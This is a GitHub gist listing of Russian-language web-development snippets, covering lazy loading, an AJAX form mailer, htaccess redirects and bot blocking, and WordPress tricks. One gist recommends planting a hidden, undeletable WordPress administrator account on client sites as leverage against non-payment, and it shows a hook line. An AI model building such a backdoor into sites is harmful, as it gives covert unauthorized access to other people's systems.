Skip to content

Instantly share code, notes, and snippets.

View EugeneZheleznov's full-sized avatar
👨‍💻
Working from home

Eugene EugeneZheleznov

👨‍💻
Working from home
View GitHub Profile
@EugeneZheleznov
EugeneZheleznov / .css
Created February 3, 2020 07:03
[Отложенная загрузка изображений] Загрузка изображений с помощью Intersection Observer API #lazy #js
* {
font-family: sans-serif;
}
#container {
font-size: 20px;
line-height: 30px;
max-width: 600px;
}
@EugeneZheleznov
EugeneZheleznov / .js
Last active March 31, 2022 08:59
[ajax отправка формы на email с помощью jQuery и php] #php #js #ajax
$(document).ready(function() { // вся магия после загрузки страницы
$("#ajaxform").submit(function(){ // перехватываем все при событии отправки
var form = $(this); // запишем форму, чтобы потом не было проблем с this
var error = false; // предварительно ошибок нет
form.find('input, textarea').each( function(){ // пробежим по каждому полю в форме
if ($(this).val() == '') { // если находим пустое
alert('Заполните поле "'+$(this).attr('placeholder')+'"!'); // говорим заполняй!
error = true; // ошибка
}
});
@EugeneZheleznov
EugeneZheleznov / .md
Last active November 1, 2023 10:06
[Redirect важные примеры] #htaccess

Redirect важные примеры htaccess

Для подобных редиректов

https://SITE.ru/index.php
https://SITE.ru/index.asp
https://SITE.ru/index.htm
https://SITE.ru/index.aspx
https://SITE.ru/index
https://SITE.ru/index.%20html
@EugeneZheleznov
EugeneZheleznov / .md
Last active February 3, 2023 13:21
[Скрытый админ] #wp

Скрытый админ WordPress

Часто случается такое, что после выполненных работ на чужом сайте, заказчик меняет пароли и отказывается платить
Чтобы себя обезопасить, мы можем создать скрытого админа в файле function.php или же лучше подключить к нему другой файл, в котором будет этот код

Админ не удаляется даже из БД

$id = ‘5’; — Указывает админа которого надо скрыть из списка пользователей, нужно посмотреть сколько всего пользователей и ставить своего

add_action('pre_user_query','evgen_protect_user_query');
@EugeneZheleznov
EugeneZheleznov / .md
Last active March 31, 2022 08:27
[Полезные трюки WordPress] #wp

Полезные трюки WordPress

Добавляем свой логотип в пользовательской панели мониторинга

function zacompom_custom_logo() {
	echo '
	<style type="text/css">
		#wpadminbar #wp-admin-bar-wp-logo > .ab-item .ab-icon:before {
			background-image: url(' . get_bloginfo('stylesheet_directory') . '/images/custom-logo.png) !important;
@EugeneZheleznov
EugeneZheleznov / .md
Last active March 31, 2022 08:06
[VMware Workstation Ошибки] #vmware

Исправление ошибок VMware Workstation

При ошибке:

the cpu has been disabled by the guest operating system. Power off reset the virtu

Дописать:

cpuid.0.eax = "0000:0000:0000:0000:0000:0000:0000:1011"
@EugeneZheleznov
EugeneZheleznov / .htaccess
Last active March 31, 2022 08:02
Запрет индексирования роботами
#########################################################
################## ОТСЕЧЕНИЕ БОТОВ ######################
#########################################################
<IfModule mod_setenvif.c>
<IfModule mod_headers.c>
SetEnvIfNoCase User-Agent "^LinksMasterRoBot" bot
SetEnvIfNoCase User-Agent "^LinkStats" bot
SetEnvIfNoCase User-Agent "^CNCat" bot
SetEnvIfNoCase User-Agent "^linkdexbot" bot
@EugeneZheleznov
EugeneZheleznov / .md
Created March 31, 2022 19:59
Шпора по Pug
@EugeneZheleznov
EugeneZheleznov / .js
Created April 19, 2022 12:52
[CSV в HTML таблицу] #csv #jquery
jQuery.noConflict();
(function ($) {
$.ajax({
url: 'http://getdevs.ru/LoginAndPasswordWebCabinet.csv',
dataType: 'text',
}).done(successFunction);
function successFunction(data) {
@EugeneZheleznov
EugeneZheleznov / .php
Last active December 27, 2022 16:25
[Хлебные крошки 2017] Хлебные крошки без плагина #wp #breadcrumbs
<?php
/*
* WordPress Breadcrumbs
* author: Dimox
* version: 2017.21.01
* license: MIT
*/
function dimox_breadcrumbs() {
/* === OPTIONS === */